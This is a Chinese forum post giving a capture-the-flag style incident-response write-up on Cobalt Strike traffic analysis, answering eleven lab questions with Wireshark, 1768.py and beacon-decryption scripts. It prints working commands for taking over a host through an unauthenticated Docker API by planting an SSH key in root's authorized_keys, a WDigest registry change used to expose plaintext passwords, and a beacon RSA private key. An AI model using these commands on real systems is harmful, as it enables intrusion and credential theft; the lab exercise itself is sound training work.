登录
/
注册
首页
论坛
其它
首页
科技
业界
安全
程序
广播
Follow
关于
博客
发1篇日志+1圆
记录
发1条记录+2圆币
发帖说明
登录
/
注册
账号
自动登录
找回密码
密码
登录
立即注册
搜索
搜索
关闭
CSDN热搜
程序园
精品问答
技术交流
资源下载
本版
帖子
用户
软件
问答
教程
代码
VIP网盘
VIP申请
网盘
联系我们
道具
勋章
任务
设置
我的收藏
退出
腾讯QQ
微信登录
返回列表
首页
›
业界区
›
安全
›
玄机蓝队靶场_应急响应_114:CobaltStrike流量分析 ...
玄机蓝队靶场_应急响应_114:CobaltStrike流量分析
[ 复制链接 ]
移国拱
6 小时前
1.溯源反制,提交黑客CS服务器的flag.txt内容
用工具对ip进行端口扫描,发现开放了2375端口,是docker的api未授权漏洞,进行写入ssh公钥利用
利用方式可参考:https://blog.csdn.net/qq_45746286/article/details/128927573
复制代码
访问验证漏洞存在:
http://161.189.114.66:2375/version
复制代码
docker -H tcp://161.189.114.66:2375 ps -a
docker -H tcp://161.189.114.66:2375 images
复制代码
本地生成ssh密钥把公钥上传到靶机:
ssh-keygen -t rsa
cat /root/.ssh/id_rsa.pub
docker -H tcp://161.189.114.66:2375 run -it -v /:/mnt 97662d24417b /bin/bash
vim /mnt/root/.ssh/authorized_keys
复制代码
ssh -i ~/.ssh/id_rsa root@10.0.0.70 -p 22
写入ssh公钥免密登录后在根目录找到flag:
find / -name "flag"
cat /root/flag.txt
复制代码
flag{6750ac374fdc3038a67e95e1f21d455c}
复制代码
2.黑客攻击主机上线时间是?(flag{YYYY-MM-DD HH:MM:SS})
根据给的流量包进行http协议过滤,可以发现第一个数据包就是Cobalt Strike分阶段加载payload上线的时间点:
11526 2025-02-12 20:12:52.048086 192.168.31.92 192.168.31.170 HTTP 237 GET /FJwV HTTP/1.1
flag{2025-02-12 20:12:52}
复制代码
3.黑客使用的隧道payload名字是什么?
使用wireshark打开流量包,文件模块->导出对象->HTTP
复制代码
将受害者下载的payload下载到本地,使用1768.py分析:
https://github.com/minhangxiaohui/CSthing
1768.py 是一个专门用于检测和分析 Cobalt Strike 信标(Beacon)流量的 Python 工具。它得名于 Cobalt Strike 信标流量中的一个关键特征值:1768 字节。
复制代码
python 1768.py FJwV
复制代码
flag{windows-beacon_http-reverse_http}
复制代码
4.黑客获取到当前用户的明文密码是什么?
通过在服务器上搜索teamserver或者Cobalt Strike关键字找到对应的路径下载到本地
经过简单搜索,发现logs路径内的文件记录了服务器上线以及命令执行的情况
复制代码
对logs路径进行关键字搜索:
grep -r "Password" ./logs |grep -v "null"
复制代码
flag{xj@cs123}
复制代码
5.黑客为了得到明文密码修改了什么?(提交flag{md5(执行的命令)})
需要结合流量包对Cobalt Strike流量数据进行解密
原理参考:https://forum.butian.net/share/1861
经过学习得知,每一个GET请求的Cookie结合私钥都可以得出Raw key,默认只有响应包与POST请求包是用对称算法加密的,其它的GET请求只是心跳包(POST是命令执行结果,响应包是指令)。
(本地尝试解密的情况是解密流量中含有心跳包会报错Exception: HMAC signature invalid)
所以要得到黑客修改命令需要对响应包进行解密:
先将所有的响应包分组取出:
http.response.code == 200
复制代码
标记后导出
复制代码
从.cobaltstrike.beacon_keys(在服务器的CS目录下)取出Cobalt Strike的私钥(自己调ai写了一个反序列化脚本)
python pksk.py .cobaltstrike.beacon_keys
复制代码
将base64格式的私钥解码为16进制格式,用16进制私钥解密心跳包的Cookie值拿到RawKey:Raw key: a4553adf7a841e1dcf708afc912275ee
python cs-decrypt-metadata.py -p 私钥 待解密内容
python cs-decrypt-metadata.py -p 3082025c0201000281810093b4127271907b80352c6a15b6bb1701bd01657a2fba3ca1fba56d9a13e9f1f3121ac3aa70248f8621217fddfc0a484e78ebf4e5b48bb4804eababe5366cf4886b6ce2a5a113edd851fc5b2fb62a925043354000bbae7f2f75d7b0b7097a17b7c7de195174d4b17cee1499ae1e52e3ce3eec3f70011d971d022c0a8723def11d020301000102818069fee4ea1a135c7d922b306a2abb32747de59da444d1faa72806fc9380ccf763bf4f53b1614eeb6c8f24123604a480654823d4986fab7e3a41bab2de07e3c2cb6ec3a6dec4a8e8a22820bbb020a3cfe307978bc11d78551e6fc69dc058170b65cfb3d434827bf5e3c5030cd55fe94a8e4bfcada77ade6c3302417509b2e39225024100fcc826f55f2e5c1e3aa352707dff894ae493fac51570250bf2b80743e41ec66ea08d81f7f68c572183764e27506cecc0b562cc0f1b7e0a9da09d2f472575da8f024100959574bea8438053188e895c2da2c44fe54530ea522fdbeaccc5279755535f8ad61a9c7f3cfe7decaf85031a2ce52990100b5f130e5c5e457c0acd6832a2ff9302400cf8ac5f1d024101e01a6f698c5da78aeb4dd8a9725f2dd77e1e0969677458d46672bc7f9fec35b0679193931ae26c07bb871557951e93a6e10e0fd603cb176b02401b0e537580dde4c222f8f5237525b1b879d1d00d321c71fcc05910d6309ac9f744cebf6bcc4e83dc61caff4aa6c0348a583c964fce132b020a73b1bf9d191a7d024100cd61443812aa2e77c8651e20e80b6e22e81270cebb9d4dcaa68e8ff63159b272eb32385ce91bf27ca5ab9d092978dc7c1866a04eb38a9535de5f1723952be9d2 IyltNSnpj6lSGi0WGIaJIsFWg6Ko6V+20xExzajz0A3AkRi2MMWjLSZvHltXLFJg5joFEKQ8lQYKh96XCYfDMO3yWWCzyZdpoCLdWRNzR8FN3Z3buww8afGOhKe+NVEWFzTPafNZh3kFlWUf5zk/etCn8WPy4qg4BArMvbx/yqM=
复制代码
用Raw key解密之前导出的响应包:
python cs-parse-http-traffic.py -r Rawkey -Y ”wireshark过滤表达式“ 待解密pcap
(本地测试不知道为啥-Y参数失效)
python cs-parse-http-traffic.py -r a4553adf7a841e1dcf708afc912275ee cs_res.pcapng
复制代码
echo -n ' /C reg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f' |md5sum
flag{73aeb8ee98d124a1f8e87f7965dc0b4a}
复制代码
6.黑客下载的文件名称是什么?
在CS服务器路径下搜索关键字download:
grep -r "download" ./logs |grep -v "unknown"
复制代码
flag{xxx服务器运维信息.xlsx}
复制代码
7.黑客下载的文件内容是什么?
结合搜索download关键字给出的最后一条日志:
./logs/250212/downloads.log:02/12 12:15:46 UTC 192.168.113.149 1603726794 9293 /opt/Cobalt_Strike_4.5/Cobalt_Strike_4.5/downloads/16b48285a xxx服务器运维信息.xlsx C:\Users\Administrator\Desktop\
将/downloads/16b48285a文件更改后缀.xlsx并打开:
flag{752fe2f44306e782f0d6830faad59e0e}
复制代码
8.黑客上传的文件内容是什么?
在CS服务器路径下搜索关键字“upload”并打开具体日志文件查看
复制代码
打开流量包查看对应流量:对应的流量包的UTC时间要+8
因为不知道实际上发送了多少包,把这段时间内的流量包导出并解密
http
复制代码
解密:
python cs-parse-http-traffic.py -r a4553adf7a841e1dcf708afc912275ee cs_up.pcapng
python cs-parse-http-traffic.py -r a4553adf7a841e1dcf708afc912275ee cs_up.pcapng --extract
--extract 参数的含义是提取传输的文件内容。
复制代码
根据解密内容可以知道最后一个POST请求包就是上传图片成功后的命令结果响应包。
复制代码
如图,命令行中的MD5就是每个数据包内导出的图片分块命名,命令行的顺序是图片文件正确的传输顺序。然后将所有的导出文件数据块放进010中,找到PNG格式的头尾标志,将中间块按照命令行中给出的MD5顺序一一复制到PNG文件头后的内容中,注意复制时删除...)C:\Users\Administrator\Desktop\upload.png
文件头89 50 4E 47 0D 0A 1A 0A
文件尾AE 42 60 82
复制代码
最后得到一张记录了flag的图片
flag{Hacker}
复制代码
9.黑客截图后获取到用户正在使用哪个软件?(提交程序名称如firefox)
在CS服务器路径下搜索截屏命令的关键字:
grep -r "screen" ./logs |grep -v "unknown"
flag{chrome}
复制代码
对应的文件夹下可以找到该截图
复制代码
10.黑客读取到浏览器保存的密码是什么?
grep -r "PASSWORD" ./logs |grep -v "null"
直接找对应的日志文件中的命令记录也能找到:beacon_1603726794.log
flag{0f338a1a6ad8785cee2b471d9d3e9f91}
复制代码
11.黑客使用键盘记录获取到用户打开了什么网站?(提交网站域名)
直接找logs中得到键盘记录日志
flag{xj.edisec.net}
复制代码
来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
回复
使用道具
举报
提升卡
置顶卡
沉默卡
喧嚣卡
变色卡
千斤顶
照妖镜
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
回复
本版积分规则
回帖并转播
回帖后跳转到最后一页
签约作者
程序园优秀签约作者
发帖
移国拱
6 小时前
关注
0
粉丝关注
16
主题发布
板块介绍填写区域,请于后台编辑
财富榜{圆}
敖可
9984
凶契帽
9990
黎瑞芝
9990
4
杭环
9988
5
猷咎
9988
6
鲫疹
9988
7
接快背
9988
8
里豳朝
9988
9
氛疵
9988
10
葛雅隽
9988
查看更多